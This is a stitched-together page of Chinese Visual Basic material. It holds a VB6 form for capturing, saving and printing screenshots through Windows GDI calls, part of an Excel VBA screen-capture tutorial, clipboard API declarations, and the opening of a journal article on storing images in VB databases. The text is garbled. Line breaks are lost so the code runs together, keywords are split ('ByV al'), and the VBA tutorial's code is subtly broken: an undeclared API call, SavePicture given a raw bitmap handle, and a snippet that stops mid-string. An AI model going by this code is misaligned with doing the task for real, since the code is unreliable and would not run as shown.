Command2_Click()MsgBox "当你关闭这个对话框两秒钟之后程序会捕捉处于活动状态的窗口."'等待两秒钟Dim EndTime As DateEndTime = DateAdd("s", 2, Now)Do Until Now > EndTimeDoEventsLoopSet Picture1.Picture = CaptureActiveWindow()Me.SetFocusEnd SubPrivate Sub Command3_Click()Set Picture1.Picture = NothingEnd SubPublic Function CreateBitmapPicture(ByVal hBmp As Long, ByVal hPal As Long) As PictureDim r As LongDim Pic As PicBmpDim IPic As IPictureDim IID_IDispatch As GUID'填充IDispatch界面With IID_IDispatch.Data1 = &H20400.Data4(0) = &HC0.Data4(7) = &H46End With'填充PicWith Pic.Size = Len(Pic) ' Pic结构长度.Type = vbPicTypeBitmap ' 图象类型.hBmp = hBmp ' 位图句柄.hPal = hPal ' 调色板句柄End With'建立Picture图象r = OleCreatePictureIndirect(Pic, IID_IDispatch, 1, IPic)'返回Picture对象Set CreateBitmapPicture = IPicEnd FunctionPublic Function CaptureWindow(ByVal hWndSrc As Long, ByVal Client As Boolean, ByVal _LeftSrc As Long, ByVal TopSrc As Long, ByVal WidthSrc As Long, ByVal HeightSrc _As Long) As PictureDim hDCMemory As LongDim hBmp As LongDim hBmpPrev As LongDim r As LongDim hDCSrc As LongDim hPal As LongDim hPalPrev As LongDim RasterCapsScrn As LongDim HasPaletteScrn As LongDim PaletteSizeScrn As LongDim LogPal As LOGPALETTEIf Client ThenhDCSrc = GetDC(hWndSrc)ElsehDCSrc = GetWindowDC(hWndSrc)End IfhDCMemory = CreateCompatibleDC(hDCSrc)hBmp = CreateCompatibleBitmap(hDCSrc, WidthSrc, HeightSrc)hBmpPrev = SelectObject(hDCMemory, hBmp)'获得屏幕属性RasterCapsScrn = GetDeviceCaps(hDCSrc, RASTERCAPS)HasPaletteScrn = RasterCapsScrn And RC_PALETTEPaletteSizeScrn = GetDeviceCaps(hDCSrc, SIZEPALETTE)'如果屏幕对象有调色板则获得屏幕调色板If HasPaletteScrn And (PaletteSizeScrn = 256) Then'建立屏幕调色板的拷贝LogPal.palVersion = &H300LogPal.palNumEntries = 256r = GetSystemPaletteEntries(hDCSrc, 0, 256,LogPal.palPalEntry(0))hPal = CreatePalette(LogPal)'将新建立的调色板选如建立的内存绘图句柄中hPalPrev = SelectPalette(hDCMemory, hPal, 0)r = RealizePalette(hDCMemory)End If'拷贝图象r = BitBlt(hDCMemory, 0, 0, WidthSrc, HeightSrc, hDCSrc, LeftSrc, TopSrc, vbSrcCopy)hBmp = SelectObject(hDCMemory, hBmpPrev)If HasPaletteScrn And (PaletteSizeScrn = 256) ThenhPal = SelectPalette(hDCMemory, hPalPrev, 0)End If'释放资源r = DeleteDC(hDCMemory)r = ReleaseDC(hWndSrc, hDCSrc)Set CaptureWindow = CreateBitmapPicture(hBmp, hPal)End Function'capturescreen函数捕捉整个屏幕图象Public Function CaptureScreen() As PictureDim hWndScreen As Long'获得桌面的窗口句柄hWndScreen = GetDesktopWindow()Set CaptureScreen = CaptureWindow(hWndScreen, False, 0, 0, Screen.Width _\ Screen.TwipsPerPixelX, Screen.Height \ Screen.TwipsPerPixelY) End FunctionPublic Function CaptureActiveWindow() As PictureDim hWndActive As LongDim r As LongDim RectActive As RECThWndActive = GetForegroundWindow()r = GetWindowRect(hWndActive, RectActive)Set CaptureActiveWindow = CaptureWindow(hWndActive, False, 0, 0, _ RectActive.Right - RectActive.Left, RectActive.Bottom - RectActive.Top)End FunctionPublic Sub PrintPictureToFitPage(Prn As Printer, Pic As Picture) Const vbHiMetric As Integer = 8Dim PicRatio As DoubleDim PrnWidth As DoubleDim PrnHeight As DoubleDim PrnRatio As DoubleDim PrnPicWidth As DoubleDim PrnPicHeight As DoubleIf Pic.Height >= Pic.Width ThenPrn.Orientation = vbPRORPortraitElsePrn.Orientation = vbPRORLandscapeEnd IfPicRatio = Pic.Width / Pic.HeightPrnWidth = Prn.ScaleX(Prn.ScaleWidth, Prn.ScaleMode, vbHiMetric) PrnHeight = Prn.ScaleY(Prn.ScaleHeight, Prn.ScaleMode, vbHiMetric) PrnRatio = PrnWidth / PrnHeightIf PicRatio >= PrnRatio ThenPrnPicWidth = Prn.ScaleX(PrnWidth, vbHiMetric, Prn.ScaleMode)PrnPicHeight = Prn.ScaleY(PrnWidth / PicRatio, vbHiMetric, Prn.ScaleMode)ElsePrnPicHeight = Prn.ScaleY(PrnHeight, vbHiMetric, Prn.ScaleMode)PrnPicWidth = Prn.ScaleX(PrnHeight * PicRatio, vbHiMetric, Prn.ScaleMode)End IfPrn.PaintPicture Pic, 0, 0, PrnPicWidth, PrnPicHeightEnd SubPrivate Sub Command4_Click()CommonDialog1.DefaultExt = ".BMP"CommonDialog1.Filter = "Bitmap Image (*.bmp)|*.bmp"CommonDialog1.ShowSaveIf CommonDialog1.FileName <> "" ThenSavePicture Picture1.Picture, CommonDialog1.FileName End IfEnd SubPrivate Sub Command5_Click()PrintPictureToFitPage Printer, Picture1.PicturePrinter.EndDocEnd SubPrivate Sub Form_Load()Command1.Caption = "捕捉整个屏幕"Command2.Caption = "两秒钟后捕捉活动窗口"Command3.Caption = "清除图象"Command4.Caption = "保存图象"Command5.Caption = "打印图象"End Sub运行程序,点击command1或者Command2就可以捕捉成个屏幕或者窗口到Picture1中,然后点击Command4或者Command5就可以保存或打印图象。
VBA调用API实现屏幕截图和图像处理的实例
VBA调用API实现屏幕截图和图像处理的实例在Excel中使用Visual Basic for Applications(VBA)编程语言,可以实现许多功能,包括屏幕截图和图像处理。
通过调用应用程序编程接口(API),我们可以实现更高级的图像处理任务,以及捕捉屏幕上的特定区域。
本文将介绍如何使用VBA调用API实现屏幕截图和图像处理的实例。
第一部分:调用API实现屏幕截图在VBA中,我们可以使用API函数来捕捉屏幕上的特定区域,并保存为图像文件。
以下是实现这一功能的步骤:1. 在VBA编辑器中,在代码窗口中插入一个新的模块,以便编写我们的代码。
2. 在模块中添加以下代码,以声明我们将要使用的API函数:```vbaDeclare PtrSafe Function BitBlt Lib "gdi32" _(ByVal hDestDC As LongPtr, ByVal x As Long, ByVal y As Long, ByValnWidth As Long, ByVal nHeight As Long, _ByVal hSrcDC As LongPtr, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As LongDeclare PtrSafe Function GetDC Lib "user32" (ByVal hwnd As LongPtr) As LongPtrDeclare PtrSafe Function ReleaseDC Lib "user32" (ByVal hwnd As LongPtr, ByVal hDC As LongPtr) As LongDeclare PtrSafe Function CreateCompatibleDC Lib "gdi32" (ByVal hDC As LongPtr) As LongPtrDeclare PtrSafe Function CreateCompatibleBitmap Lib "gdi32" (ByVal hDC As LongPtr, ByVal nWidth As Long, ByVal nHeight As Long) As LongPtrDeclare PtrSafe Function SelectObject Lib "gdi32" (ByVal hDC As LongPtr, ByVal hObject As LongPtr) As LongPtrDeclare PtrSafe Function DeleteDC Lib "gdi32" (ByVal hDC As LongPtr) As LongPtrDeclare PtrSafe Function DeleteObject Lib "gdi32" (ByVal hObject As LongPtr) As LongPtrDeclare PtrSafe Function GetSystemMetrics Lib "user32" (ByVal nIndex As Long) As Long```3. 添加以下代码,在一个按钮的点击事件中触发屏幕截图:```vbaSub CaptureScreen()Dim hWnd As LongPtrDim hDC As LongPtrDim hWinDC As LongPtrDim hBitmap As LongPtrDim lWidth As LongDim lHeight As LonghWnd = GetDesktopWindow()hDC = GetDC(hWnd)lWidth = GetSystemMetrics(0)lHeight = GetSystemMetrics(1)hWinDC = CreateCompatibleDC(0)hBitmap = CreateCompatibleBitmap(hDC, lWidth, lHeight)SelectObject hWinDC, hBitmapBitBlt hWinDC, 0, 0, lWidth, lHeight, hDC, 0, 0, SRCCOPYDeleteDC hWinDCReleaseDC hWnd, hDCSavePicture hBitmap, "C:\Screenshot.jpg"DeleteObject hBitmapMsgBox "截图已保存在C盘根目录下的Screenshot.jpg文件中。
VB实现截图、复制、剪切和粘贴功能
'ReleaseDC函数释放设备上下文环境(DC)供其他应用程序使用Private Declare Function ReleaseDC Lib "user32" (ByV al hwnd As Long, ByV al hdc As Long) As Long'OpenClipboard函数用于打开剪切板Private Declare Function OpenClipboard Lib "user32" (ByV al hwnd As Long) As Long'EmptyClipboard函数用于清空剪切板Private Declare Function EmptyClipboard Lib "user32" () As Long'SetClipboardData函数用于把数据放到具有指定格式的剪切板,窗口必须是当前剪切板的拥有者,该函数必须在OpenClipboard调用后才可以用Private Declare Function SetClipboardData Lib "user32" (ByV al wFormat As Long, ByV al hMem As Long) As Long'SelectObject 函数选择一对象到指定的设备上下文环境中,该新对象替换先前的相同类型的对象。
Private Declare Function SelectObject Lib "gdi32" (ByV al hdc As Long, ByV al hObject As Long) As Long'DeleteDC 该函数删除指定的设备上下文环境(Dc)。
Private Declare Function DeleteDC Lib "gdi32" (ByV al hdc As Long) As Long'BitBlt 该函数对指定的源设备环境区域中的像素进行位块(bit_block)转换,以传送到目标设备环境。
简谈VB中用数据库存取图片的简便方法
第8期计算机教育2010年4月25日Computer Education No.8 Apr.25,2010125文章编号:1672-5913(2010)08-0125-04 中图分类号:G642 文献标识码:B 简谈VB中用数据库存取图片的简便方法李利平(太原理工大学 阳泉学院管理系,山西 阳泉 045000)摘要:VB数据库中图像数据的存取对初学者来说是个难点,文章总结了绑定图片控件、存储图片文件路径、利用PropertyBag对象与Byte数组中转三种较为简便的方法以供初学者参考。
关键词:VB;Data控件;数据库;图片;存取;路径;PropertyBag;Byte数组图像数据的存取对初学者来说是个难点,而当前的VB教学因课时较短,所选教材或讲授过程对数据库一章要么忽略要么只是简单地介绍,很少涉及到图像的存取问题,而专业数据库开发书籍中的大量源代码又让初学者看得头疼,所以本文总结了3种相对简便的方法以供参考。
为顺利运行程序,以下每种方法中,图片文件夹和数据库文件、VB程序文件同时存储在同一目录下。
1 绑定图片控件实现思路:用VB自带VisData建立数据库,把图片存储在数据库表的Binary字段中,通过常用工具箱中Data控件与Image控件绑定,添加CommonDialog部件用以选择图片文件,在Image的DblClick事件中打开通用对话框,用LoadPicture函数把选定的图片载入Image,用Data控件的四个箭头浏览记录。
1.1 建立图片文件夹建立图片文件夹bmp,把准备好的图片(本例选用bmp、jpg、gif格式)放入其中,以备程序运行时添加和修改用。
1.2 建立数据库启动外接程序下的可视化数据管理器VisData,建立stu数据库,新建xs表,包含学号、姓名、照片(类型Binary)3个字段。
因Binary型字段在表中无法直接操作,所以生成表后并不需添加记录,等程序运行时添加即可。